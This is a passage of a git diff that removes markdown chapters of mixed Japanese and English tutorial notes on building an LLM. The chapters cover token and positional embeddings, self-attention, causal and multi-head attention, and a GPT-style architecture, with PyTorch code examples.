[ 3619, 402, 271, 10899],
[ 2138, 257, 7026, 15632],
[ 438, 2016, 257, 922],
[ 5891, 1576, 438, 568],
[ 340, 373, 645, 1049],
[ 5975, 284, 502, 284],
[ 3285, 326, 11, 287]])
]
```
## References
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,203 +0,0 @@
# 3. トークン埋め込み
## トークン埋め込み
テキストデータをトークン化した後、大規模言語モデルLLMをトレーニングするためのデータ準備における次の重要なステップは、**トークン埋め込み**を作成することです。トークン埋め込みは、離散トークン(単語やサブワードなど)をモデルが処理し学習できる連続的な数値ベクトルに変換します。この説明では、トークン埋め込み、その初期化、使用法、およびトークンシーケンスのモデル理解を向上させる位置埋め込みの役割について説明します。
> [!TIP]
> この第3段階の目標は非常にシンプルです**語彙内の以前の各トークンに、モデルをトレーニングするために必要な次元のベクトルを割り当てることです。** 語彙内の各単語は、X次元の空間内の点になります。\
> 最初は、空間内の各単語の位置は「ランダムに」初期化され、これらの位置はトレーニング中に改善されるトレーニング可能なパラメータです。
>
> さらに、トークン埋め込みの間に**別の埋め込み層が作成され**、これは(この場合)**トレーニング文における単語の絶対位置を表します**。このように、文中の異なる位置にある単語は異なる表現(意味)を持ちます。
### **トークン埋め込みとは?**
**トークン埋め込み**は、連続ベクトル空間におけるトークンの数値表現です。語彙内の各トークンは、固定次元のユニークなベクトルに関連付けられています。これらのベクトルは、トークンに関する意味的および構文的情報をキャプチャし、モデルがデータ内の関係やパターンを理解できるようにします。
- **語彙サイズ:** モデルの語彙内のユニークなトークンの総数(例:単語、サブワード)。
- **埋め込み次元:** 各トークンのベクトル内の数値の数(次元)。高次元はより微妙な情報をキャプチャできますが、より多くの計算リソースを必要とします。
**例:**
- **語彙サイズ:** 6トークン \[1, 2, 3, 4, 5, 6]
- **埋め込み次元:** 3 (x, y, z)
### **トークン埋め込みの初期化**
トレーニングの開始時に、トークン埋め込みは通常、小さなランダム値で初期化されます。これらの初期値は、トレーニングデータに基づいてトークンの意味をよりよく表現するように調整(ファインチューニング)されます。
**PyTorchの例**
```python
import torch
# Set a random seed for reproducibility
torch.manual_seed(123)
# Create an embedding layer with 6 tokens and 3 dimensions
embedding_layer = torch.nn.Embedding(6, 3)
# Display the initial weights (embeddings)
print(embedding_layer.weight)
```
**出力:**
```lua
luaCopy codeParameter containing:
tensor([[ 0.3374, -0.1778, -0.1690],
[ 0.9178, 1.5810, 1.3010],
[ 1.2753, -0.2010, -0.1606],
[-0.4015, 0.9666, -1.1481],
[-1.1589, 0.3255, -0.6315],
[-2.8400, -0.7849, -1.4096]], requires_grad=True)
```
**説明:**
- 各行は語彙のトークンに対応しています。
- 各列は埋め込みベクトルの次元を表しています。
- 例えば、インデックス `3` のトークンは埋め込みベクトル `[-0.4015, 0.9666, -1.1481]` を持っています。
**トークンの埋め込みへのアクセス:**
```python
# Retrieve the embedding for the token at index 3
token_index = torch.tensor([3])
print(embedding_layer(token_index))
```
**出力:**
```lua
tensor([[-0.4015, 0.9666, -1.1481]], grad_fn=<EmbeddingBackward0>)
```
**解釈:**
- インデックス `3` のトークンはベクトル `[-0.4015, 0.9666, -1.1481]` で表されます。
- これらの値は、モデルがトレーニング中に調整するトレーニング可能なパラメータであり、トークンのコンテキストと意味をよりよく表現します。
### **トークン埋め込みがトレーニング中にどのように機能するか**
トレーニング中、入力データの各トークンは対応する埋め込みベクトルに変換されます。これらのベクトルは、注意メカニズムやニューラルネットワーク層など、モデル内のさまざまな計算に使用されます。
**例のシナリオ:**
- **バッチサイズ:** 8同時に処理されるサンプルの数
- **最大シーケンス長:** 4サンプルごとのトークンの数
- **埋め込み次元:** 256
**データ構造:**
- 各バッチは形状 `(batch_size, max_length, embedding_dim)` の3Dテンソルとして表されます。
- 私たちの例では、形状は `(8, 4, 256)` になります。
**視覚化:**
```css
cssCopy codeBatch
┌─────────────┐
│ Sample 1 │
│ ┌─────┐ │
│ │Token│ → [x₁₁, x₁₂, ..., x₁₂₅₆]
│ │ 1 │ │
│ │... │ │
│ │Token│ │
│ │ 4 │ │
│ └─────┘ │
│ Sample 2 │
│ ┌─────┐ │
│ │Token│ → [x₂₁, x₂₂, ..., x₂₂₅₆]
│ │ 1 │ │
│ │... │ │
│ │Token│ │
│ │ 4 │ │
│ └─────┘ │
│ ... │
│ Sample 8 │
│ ┌─────┐ │
│ │Token│ → [x₈₁, x₈₂, ..., x₈₂₅₆]
│ │ 1 │ │
│ │... │ │
│ │Token│ │
│ │ 4 │ │
│ └─────┘ │
└─────────────┘
```
**説明:**
- シーケンス内の各トークンは、256次元のベクトルで表されます。
- モデルはこれらの埋め込みを処理して、言語パターンを学習し、予測を生成します。
## **位置埋め込み: トークン埋め込みにコンテキストを追加する**
トークン埋め込みは個々のトークンの意味を捉えますが、シーケンス内のトークンの位置を本質的にエンコードするわけではありません。トークンの順序を理解することは、言語理解にとって重要です。ここで**位置埋め込み**が登場します。
### **位置埋め込みが必要な理由:**
- **トークンの順序が重要:** 文の中では、意味はしばしば単語の順序に依存します。例えば、「猫がマットの上に座った」と「マットが猫の上に座った」。
- **埋め込みの制限:** 位置情報がないと、モデルはトークンを「単語の袋」として扱い、そのシーケンスを無視します。
### **位置埋め込みの種類:**
1. **絶対位置埋め込み:**
- シーケンス内の各位置にユニークな位置ベクトルを割り当てます。
- **例:** どのシーケンスの最初のトークンは同じ位置埋め込みを持ち、2番目のトークンは別の位置埋め込みを持ちます。
- **使用例:** OpenAIのGPTモデル。
2. **相対位置埋め込み:**
- トークンの絶対位置ではなく、トークン間の相対的な距離をエンコードします。
- **例:** シーケンス内の絶対位置に関係なく、2つのトークンがどれだけ離れているかを示します。
- **使用例:** Transformer-XLやBERTのいくつかのバリアントのようなモデル。
### **位置埋め込みの統合方法:**
- **同じ次元:** 位置埋め込みはトークン埋め込みと同じ次元を持ちます。
- **加算:** それらはトークン埋め込みに加算され、トークンのアイデンティティと位置情報を組み合わせ、全体の次元を増やすことなく統合されます。
**位置埋め込みを追加する例:**
トークン埋め込みベクトルが `[0.5, -0.2, 0.1]` で、その位置埋め込みベクトルが `[0.1, 0.3, -0.1]` の場合、モデルで使用される結合埋め込みは次のようになります:
```css
Combined Embedding = Token Embedding + Positional Embedding
= [0.5 + 0.1, -0.2 + 0.3, 0.1 + (-0.1)]
= [0.6, 0.1, 0.0]
```
**位置埋め込みの利点:**
- **文脈の認識:** モデルはトークンの位置に基づいて区別できます。
- **シーケンスの理解:** モデルが文法、構文、および文脈依存の意味を理解できるようにします。
## コード例
[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb)からのコード例に続きます:
```python
# Use previous code...
# Create dimensional emdeddings
"""
BPE uses a vocabulary of 50257 words
Let's supose we want to use 256 dimensions (instead of the millions used by LLMs)
"""
vocab_size = 50257
output_dim = 256
token_embedding_layer = torch.nn.Embedding(vocab_size, output_dim)
## Generate the dataloader like before
max_length = 4
dataloader = create_dataloader_v1(
raw_text, batch_size=8, max_length=max_length,
stride=max_length, shuffle=False
)
data_iter = iter(dataloader)
inputs, targets = next(data_iter)
# Apply embeddings
token_embeddings = token_embedding_layer(inputs)
print(token_embeddings.shape)
torch.Size([8, 4, 256]) # 8 x 4 x 256
# Generate absolute embeddings
context_length = max_length
pos_embedding_layer = torch.nn.Embedding(context_length, output_dim)
pos_embeddings = pos_embedding_layer(torch.arange(max_length))
input_embeddings = token_embeddings + pos_embeddings
print(input_embeddings.shape) # torch.Size([8, 4, 256])
```
## 参考文献
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,415 +0,0 @@
# 4. Attention Mechanisms
## Attention Mechanisms and Self-Attention in Neural Networks
Attention mechanisms allow neural networks to f**ocus on specific parts of the input when generating each part of the output**. They assign different weights to different inputs, helping the model decide which inputs are most relevant to the task at hand. This is crucial in tasks like machine translation, where understanding the context of the entire sentence is necessary for accurate translation.
> [!TIP]
> この第4段階の目標は非常にシンプルです: **いくつかの注意メカニズムを適用すること**。これらは、**語彙内の単語と現在の文の隣接語との関係を捉えるための多くの** **繰り返し層** になります。\
> これには多くの層が使用されるため、多くの学習可能なパラメータがこの情報を捉えることになります。
### Understanding Attention Mechanisms
In traditional sequence-to-sequence models used for language translation, the model encodes an input sequence into a fixed-size context vector. However, this approach struggles with long sentences because the fixed-size context vector may not capture all necessary information. Attention mechanisms address this limitation by allowing the model to consider all input tokens when generating each output token.
#### Example: Machine Translation
Consider translating the German sentence "Kannst du mir helfen diesen Satz zu übersetzen" into English. A word-by-word translation would not produce a grammatically correct English sentence due to differences in grammatical structures between languages. An attention mechanism enables the model to focus on relevant parts of the input sentence when generating each word of the output sentence, leading to a more accurate and coherent translation.
### Introduction to Self-Attention
Self-attention, or intra-attention, is a mechanism where attention is applied within a single sequence to compute a representation of that sequence. It allows each token in the sequence to attend to all other tokens, helping the model capture dependencies between tokens regardless of their distance in the sequence.
#### Key Concepts
- **Tokens**: 入力シーケンスの個々の要素(例: 文中の単語)。
- **Embeddings**: トークンのベクトル表現で、意味情報を捉えます。
- **Attention Weights**: 他のトークンに対する各トークンの重要性を決定する値。
### Calculating Attention Weights: A Step-by-Step Example
Let's consider the sentence **"Hello shiny sun!"** and represent each word with a 3-dimensional embedding:
- **Hello**: `[0.34, 0.22, 0.54]`
- **shiny**: `[0.53, 0.34, 0.98]`
- **sun**: `[0.29, 0.54, 0.93]`
Our goal is to compute the **context vector** for the word **"shiny"** using self-attention.
#### Step 1: Compute Attention Scores
> [!TIP]
> 各次元のクエリの値を関連するトークンの値と掛け算し、結果を加算します。トークンのペアごとに1つの値が得られます。
For each word in the sentence, compute the **attention score** with respect to "shiny" by calculating the dot product of their embeddings.
**Attention Score between "Hello" and "shiny"**
<figure><img src="../../images/image (4) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
**Attention Score between "shiny" and "shiny"**
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
**Attention Score between "sun" and "shiny"**
<figure><img src="../../images/image (2) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
#### Step 2: Normalize Attention Scores to Obtain Attention Weights
> [!TIP]
> 数学用語に迷わないでください。この関数の目標はシンプルです。すべての重みを正規化して**合計が1になるようにします**。\
> さらに、**softmax**関数が使用されるのは、指数部分によって違いを強調し、有用な値を検出しやすくするためです。
Apply the **softmax function** to the attention scores to convert them into attention weights that sum to 1.
<figure><img src="../../images/image (3) (1) (1) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
Calculating the exponentials:
<figure><img src="../../images/image (4) (1) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
Calculating the sum:
<figure><img src="../../images/image (5) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
Calculating attention weights:
<figure><img src="../../images/image (6) (1) (1).png" alt="" width="404"><figcaption></figcaption></figure>
#### Step 3: Compute the Context Vector
> [!TIP]
> 各注意重みを関連するトークンの次元に掛け算し、すべての次元を合計して1つのベクトルコンテキストベクトルを得ます。
The **context vector** is computed as the weighted sum of the embeddings of all words, using the attention weights.
<figure><img src="../../images/image (16).png" alt="" width="369"><figcaption></figcaption></figure>
Calculating each component:
- **Weighted Embedding of "Hello"**:
<figure><img src="../../images/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
- **Weighted Embedding of "shiny"**:
<figure><img src="../../images/image (8) (1) (1).png" alt=""><figcaption></figcaption></figure>
- **Weighted Embedding of "sun"**:
<figure><img src="../../images/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
Summing the weighted embeddings:
`context vector=[0.0779+0.2156+0.1057, 0.0504+0.1382+0.1972, 0.1237+0.3983+0.3390]=[0.3992,0.3858,0.8610]`
**This context vector represents the enriched embedding for the word "shiny," incorporating information from all words in the sentence.**
### Summary of the Process
1. **Compute Attention Scores**: Use the dot product between the embedding of the target word and the embeddings of all words in the sequence.
2. **Normalize Scores to Get Attention Weights**: Apply the softmax function to the attention scores to obtain weights that sum to 1.
3. **Compute Context Vector**: Multiply each word's embedding by its attention weight and sum the results.
## Self-Attention with Trainable Weights
In practice, self-attention mechanisms use **trainable weights** to learn the best representations for queries, keys, and values. This involves introducing three weight matrices:
<figure><img src="../../images/image (10) (1) (1).png" alt="" width="239"><figcaption></figcaption></figure>
The query is the data to use like before, while the keys and values matrices are just random-trainable matrices.
#### Step 1: Compute Queries, Keys, and Values
Each token will have its own query, key and value matrix by multiplying its dimension values by the defined matrices:
<figure><img src="../../images/image (11).png" alt="" width="253"><figcaption></figcaption></figure>
These matrices transform the original embeddings into a new space suitable for computing attention.
**Example**
Assuming:
- Input dimension `din=3` (embedding size)
- Output dimension `dout=2` (desired dimension for queries, keys, and values)
Initialize the weight matrices:
```python
import torch.nn as nn
d_in = 3
d_out = 2
W_query = nn.Parameter(torch.rand(d_in, d_out))
W_key = nn.Parameter(torch.rand(d_in, d_out))
W_value = nn.Parameter(torch.rand(d_in, d_out))
```
クエリ、キー、値を計算する:
```python
queries = torch.matmul(inputs, W_query)
keys = torch.matmul(inputs, W_key)
values = torch.matmul(inputs, W_value)
```
#### ステップ 2: スケーリングされたドット積アテンションの計算
**アテンションスコアの計算**
以前の例と似ていますが、今回はトークンの次元の値を使用するのではなく、トークンのキー行列を使用します(すでに次元を使用して計算されています)。したがって、各クエリ `qi` とキー `kj` に対して:
<figure><img src="../../images/image (12).png" alt=""><figcaption></figcaption></figure>
**スコアのスケーリング**
ドット積が大きくなりすぎないように、キー次元 `dk` の平方根でスケーリングします:
<figure><img src="../../images/image (13).png" alt="" width="295"><figcaption></figcaption></figure>
> [!TIP]
> スコアは次元の平方根で割られます。なぜなら、ドット積が非常に大きくなる可能性があり、これがそれを調整するのに役立つからです。
**アテンションウェイトを得るためにソフトマックスを適用:** 初期の例と同様に、すべての値を正規化して合計が1になるようにします。
<figure><img src="../../images/image (14).png" alt="" width="295"><figcaption></figcaption></figure>
#### ステップ 3: コンテキストベクトルの計算
初期の例と同様に、すべての値行列をそのアテンションウェイトで掛けて合計します:
<figure><img src="../../images/image (15).png" alt="" width="328"><figcaption></figcaption></figure>
### コード例
[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) からの例を取り上げると、私たちが話した自己アテンション機能を実装するこのクラスを確認できます:
```python
import torch
inputs = torch.tensor(
[[0.43, 0.15, 0.89], # Your (x^1)
[0.55, 0.87, 0.66], # journey (x^2)
[0.57, 0.85, 0.64], # starts (x^3)
[0.22, 0.58, 0.33], # with (x^4)
[0.77, 0.25, 0.10], # one (x^5)
[0.05, 0.80, 0.55]] # step (x^6)
)
import torch.nn as nn
class SelfAttention_v2(nn.Module):
def __init__(self, d_in, d_out, qkv_bias=False):
super().__init__()
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
def forward(self, x):
keys = self.W_key(x)
queries = self.W_query(x)
values = self.W_value(x)
attn_scores = queries @ keys.T
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
context_vec = attn_weights @ values
return context_vec
d_in=3
d_out=2
torch.manual_seed(789)
sa_v2 = SelfAttention_v2(d_in, d_out)
print(sa_v2(inputs))
```
> [!NOTE]
> 行列をランダムな値で初期化する代わりに、`nn.Linear`を使用してすべての重みをトレーニングするパラメータとしてマークします。
## 因果注意: 将来の単語を隠す
LLMでは、モデルが現在の位置の前に出現するトークンのみを考慮して**次のトークンを予測**することを望みます。**因果注意**、または**マスク付き注意**は、注意メカニズムを変更して将来のトークンへのアクセスを防ぐことによってこれを実現します。
### 因果注意マスクの適用
因果注意を実装するために、ソフトマックス操作**の前に**注意スコアにマスクを適用します。これにより、残りのスコアは依然として1に合計されます。このマスクは、将来のトークンの注意スコアを負の無限大に設定し、ソフトマックスの後にその注意重みがゼロになることを保証します。
**手順**
1. **注意スコアの計算**: 前と同じです。
2. **マスクの適用**: 対角線の上に負の無限大で満たされた上三角行列を使用します。
```python
mask = torch.triu(torch.ones(seq_len, seq_len), diagonal=1) * float('-inf')
masked_scores = attention_scores + mask
```
3. **ソフトマックスの適用**: マスクされたスコアを使用して注意重みを計算します。
```python
attention_weights = torch.softmax(masked_scores, dim=-1)
```
### ドロップアウトによる追加の注意重みのマスキング
**過学習を防ぐ**ために、ソフトマックス操作の後に注意重みに**ドロップアウト**を適用できます。ドロップアウトは、トレーニング中に**一部の注意重みをランダムにゼロにします**。
```python
dropout = nn.Dropout(p=0.5)
attention_weights = dropout(attention_weights)
```
通常のドロップアウトは約10-20%です。
### コード例
コード例は[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb)からです:
```python
import torch
import torch.nn as nn
inputs = torch.tensor(
[[0.43, 0.15, 0.89], # Your (x^1)
[0.55, 0.87, 0.66], # journey (x^2)
[0.57, 0.85, 0.64], # starts (x^3)
[0.22, 0.58, 0.33], # with (x^4)
[0.77, 0.25, 0.10], # one (x^5)
[0.05, 0.80, 0.55]] # step (x^6)
)
batch = torch.stack((inputs, inputs), dim=0)
print(batch.shape)
class CausalAttention(nn.Module):
def __init__(self, d_in, d_out, context_length,
dropout, qkv_bias=False):
super().__init__()
self.d_out = d_out
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
self.dropout = nn.Dropout(dropout)
self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1)) # New
def forward(self, x):
b, num_tokens, d_in = x.shape
# b is the num of batches
# num_tokens is the number of tokens per batch
# d_in is the dimensions er token
keys = self.W_key(x) # This generates the keys of the tokens
queries = self.W_query(x)
values = self.W_value(x)
attn_scores = queries @ keys.transpose(1, 2) # Moves the third dimension to the second one and the second one to the third one to be able to multiply
attn_scores.masked_fill_( # New, _ ops are in-place
self.mask.bool()[:num_tokens, :num_tokens], -torch.inf) # `:num_tokens` to account for cases where the number of tokens in the batch is smaller than the supported context_size
attn_weights = torch.softmax(
attn_scores / keys.shape[-1]**0.5, dim=-1
)
attn_weights = self.dropout(attn_weights)
context_vec = attn_weights @ values
return context_vec
torch.manual_seed(123)
context_length = batch.shape[1]
d_in = 3
d_out = 2
ca = CausalAttention(d_in, d_out, context_length, 0.0)
context_vecs = ca(batch)
print(context_vecs)
print("context_vecs.shape:", context_vecs.shape)
```
## シングルヘッドアテンションをマルチヘッドアテンションに拡張する
**マルチヘッドアテンション**は、実際には**複数のインスタンス**の自己アテンション関数を実行し、それぞれが**独自の重み**を持つことで、異なる最終ベクトルが計算されることを意味します。
### コード例
前のコードを再利用し、ラッパーを追加して何度も実行することも可能ですが、これはすべてのヘッドを同時に処理する最適化されたバージョンです高価なforループの数を減らします。コードに示されているように、各トークンの次元はヘッドの数に応じて異なる次元に分割されます。このように、トークンが8次元で、3つのヘッドを使用したい場合、次元は4次元の2つの配列に分割され、各ヘッドはそのうちの1つを使用します
```python
class MultiHeadAttention(nn.Module):
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
super().__init__()
assert (d_out % num_heads == 0), \
"d_out must be divisible by num_heads"
self.d_out = d_out
self.num_heads = num_heads
self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs
self.dropout = nn.Dropout(dropout)
self.register_buffer(
"mask",
torch.triu(torch.ones(context_length, context_length),
diagonal=1)
)
def forward(self, x):
b, num_tokens, d_in = x.shape
# b is the num of batches
# num_tokens is the number of tokens per batch
# d_in is the dimensions er token
keys = self.W_key(x) # Shape: (b, num_tokens, d_out)
queries = self.W_query(x)
values = self.W_value(x)
# We implicitly split the matrix by adding a `num_heads` dimension
# Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim)
keys = keys.view(b, num_tokens, self.num_heads, self.head_dim)
values = values.view(b, num_tokens, self.num_heads, self.head_dim)
queries = queries.view(b, num_tokens, self.num_heads, self.head_dim)
# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim)
keys = keys.transpose(1, 2)
queries = queries.transpose(1, 2)
values = values.transpose(1, 2)
# Compute scaled dot-product attention (aka self-attention) with a causal mask
attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head
# Original mask truncated to the number of tokens and converted to boolean
mask_bool = self.mask.bool()[:num_tokens, :num_tokens]
# Use the mask to fill attention scores
attn_scores.masked_fill_(mask_bool, -torch.inf)
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
attn_weights = self.dropout(attn_weights)
# Shape: (b, num_tokens, num_heads, head_dim)
context_vec = (attn_weights @ values).transpose(1, 2)
# Combine heads, where self.d_out = self.num_heads * self.head_dim
context_vec = context_vec.contiguous().view(b, num_tokens, self.d_out)
context_vec = self.out_proj(context_vec) # optional projection
return context_vec
torch.manual_seed(123)
batch_size, context_length, d_in = batch.shape
d_out = 2
mha = MultiHeadAttention(d_in, d_out, context_length, 0.0, num_heads=2)
context_vecs = mha(batch)
print(context_vecs)
print("context_vecs.shape:", context_vecs.shape)
```
別のコンパクトで効率的な実装のために、PyTorchの[`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html)クラスを使用することができます。
> [!TIP]
> ChatGPTの短い回答なぜトークンの次元をヘッド間で分割する方が、各ヘッドがすべてのトークンのすべての次元をチェックするよりも良いのか
>
> 各ヘッドがすべての埋め込み次元を処理できることは、各ヘッドが完全な情報にアクセスできるため有利に思えるかもしれませんが、標準的な実践は**埋め込み次元をヘッド間で分割すること**です。このアプローチは、計算効率とモデルのパフォーマンスのバランスを取り、各ヘッドが多様な表現を学ぶことを促進します。したがって、埋め込み次元を分割することは、一般的に各ヘッドがすべての次元をチェックするよりも好まれます。
## References
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,666 +0,0 @@
# 5. LLMアーキテクチャ
## LLMアーキテクチャ
> [!TIP]
> この第5段階の目標は非常にシンプルです: **完全なLLMのアーキテクチャを開発すること**。すべてをまとめ、すべてのレイヤーを適用し、テキストを生成したり、テキストをIDに変換したり、その逆を行うためのすべての機能を作成します。
>
> このアーキテクチャは、トレーニングとトレーニング後のテキスト予測の両方に使用されます。
LLMアーキテクチャの例は[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb)から取得できます:
高レベルの表現は以下に示されています:
<figure><img src="../../images/image (3) (1) (1) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31">https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31</a></p></figcaption></figure>
1. **入力(トークン化されたテキスト)**: プロセスはトークン化されたテキストから始まり、数値表現に変換されます。
2. **トークン埋め込みおよび位置埋め込みレイヤー**: トークン化されたテキストは、**トークン埋め込み**レイヤーと**位置埋め込みレイヤー**を通過し、シーケンス内のトークンの位置をキャプチャします。これは単語の順序を理解するために重要です。
3. **トランスフォーマーブロック**: モデルには**12のトランスフォーマーブロック**が含まれており、それぞれに複数のレイヤーがあります。これらのブロックは以下のシーケンスを繰り返します:
- **マスク付きマルチヘッドアテンション**: モデルが入力テキストの異なる部分に同時に焦点を合わせることを可能にします。
- **レイヤー正規化**: トレーニングを安定させ、改善するための正規化ステップです。
- **フィードフォワードレイヤー**: アテンションレイヤーからの情報を処理し、次のトークンについての予測を行う役割を担います。
- **ドロップアウトレイヤー**: これらのレイヤーは、トレーニング中にユニットをランダムにドロップすることで過学習を防ぎます。
4. **最終出力レイヤー**: モデルは**4x50,257次元のテンソル**を出力します。ここで**50,257**は語彙のサイズを表します。このテンソルの各行は、モデルがシーケンス内の次の単語を予測するために使用するベクトルに対応します。
5. **目標**: 目的は、これらの埋め込みを取得し、再びテキストに変換することです。具体的には、出力の最後の行が次の単語を生成するために使用され、この図では「forward」として表されています。
### コード表現
```python
import torch
import torch.nn as nn
import tiktoken
class GELU(nn.Module):
def __init__(self):
super().__init__()
def forward(self, x):
return 0.5 * x * (1 + torch.tanh(
torch.sqrt(torch.tensor(2.0 / torch.pi)) *
(x + 0.044715 * torch.pow(x, 3))
))
class FeedForward(nn.Module):
def __init__(self, cfg):
super().__init__()
self.layers = nn.Sequential(
nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]),
GELU(),
nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]),
)
def forward(self, x):
return self.layers(x)
class MultiHeadAttention(nn.Module):
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
super().__init__()
assert d_out % num_heads == 0, "d_out must be divisible by num_heads"
self.d_out = d_out
self.num_heads = num_heads
self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs
self.dropout = nn.Dropout(dropout)
self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1))
def forward(self, x):
b, num_tokens, d_in = x.shape
keys = self.W_key(x) # Shape: (b, num_tokens, d_out)
queries = self.W_query(x)
values = self.W_value(x)
# We implicitly split the matrix by adding a `num_heads` dimension
# Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim)
keys = keys.view(b, num_tokens, self.num_heads, self.head_dim)
values = values.view(b, num_tokens, self.num_heads, self.head_dim)
queries = queries.view(b, num_tokens, self.num_heads, self.head_dim)
# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim)
keys = keys.transpose(1, 2)
queries = queries.transpose(1, 2)
values = values.transpose(1, 2)
# Compute scaled dot-product attention (aka self-attention) with a causal mask
attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head
# Original mask truncated to the number of tokens and converted to boolean
mask_bool = self.mask.bool()[:num_tokens, :num_tokens]
# Use the mask to fill attention scores
attn_scores.masked_fill_(mask_bool, -torch.inf)
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
attn_weights = self.dropout(attn_weights)
# Shape: (b, num_tokens, num_heads, head_dim)
context_vec = (attn_weights @ values).transpose(1, 2)
# Combine heads, where self.d_out = self.num_heads * self.head_dim
context_vec = context_vec.contiguous().view(b, num_tokens, self.d_out)
context_vec = self.out_proj(context_vec) # optional projection
return context_vec
class LayerNorm(nn.Module):
def __init__(self, emb_dim):
super().__init__()
self.eps = 1e-5
self.scale = nn.Parameter(torch.ones(emb_dim))
self.shift = nn.Parameter(torch.zeros(emb_dim))
def forward(self, x):
mean = x.mean(dim=-1, keepdim=True)
var = x.var(dim=-1, keepdim=True, unbiased=False)
norm_x = (x - mean) / torch.sqrt(var + self.eps)
return self.scale * norm_x + self.shift
class TransformerBlock(nn.Module):
def __init__(self, cfg):
super().__init__()
self.att = MultiHeadAttention(
d_in=cfg["emb_dim"],
d_out=cfg["emb_dim"],
context_length=cfg["context_length"],
num_heads=cfg["n_heads"],
dropout=cfg["drop_rate"],
qkv_bias=cfg["qkv_bias"])
self.ff = FeedForward(cfg)
self.norm1 = LayerNorm(cfg["emb_dim"])
self.norm2 = LayerNorm(cfg["emb_dim"])
self.drop_shortcut = nn.Dropout(cfg["drop_rate"])
def forward(self, x):
# Shortcut connection for attention block
shortcut = x
x = self.norm1(x)
x = self.att(x) # Shape [batch_size, num_tokens, emb_size]
x = self.drop_shortcut(x)
x = x + shortcut # Add the original input back
# Shortcut connection for feed forward block
shortcut = x
x = self.norm2(x)
x = self.ff(x)
x = self.drop_shortcut(x)
x = x + shortcut # Add the original input back
return x
class GPTModel(nn.Module):
def __init__(self, cfg):
super().__init__()
self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"])
self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"])
self.drop_emb = nn.Dropout(cfg["drop_rate"])
self.trf_blocks = nn.Sequential(
*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])])
self.final_norm = LayerNorm(cfg["emb_dim"])
self.out_head = nn.Linear(
cfg["emb_dim"], cfg["vocab_size"], bias=False
)
def forward(self, in_idx):
batch_size, seq_len = in_idx.shape
tok_embeds = self.tok_emb(in_idx)
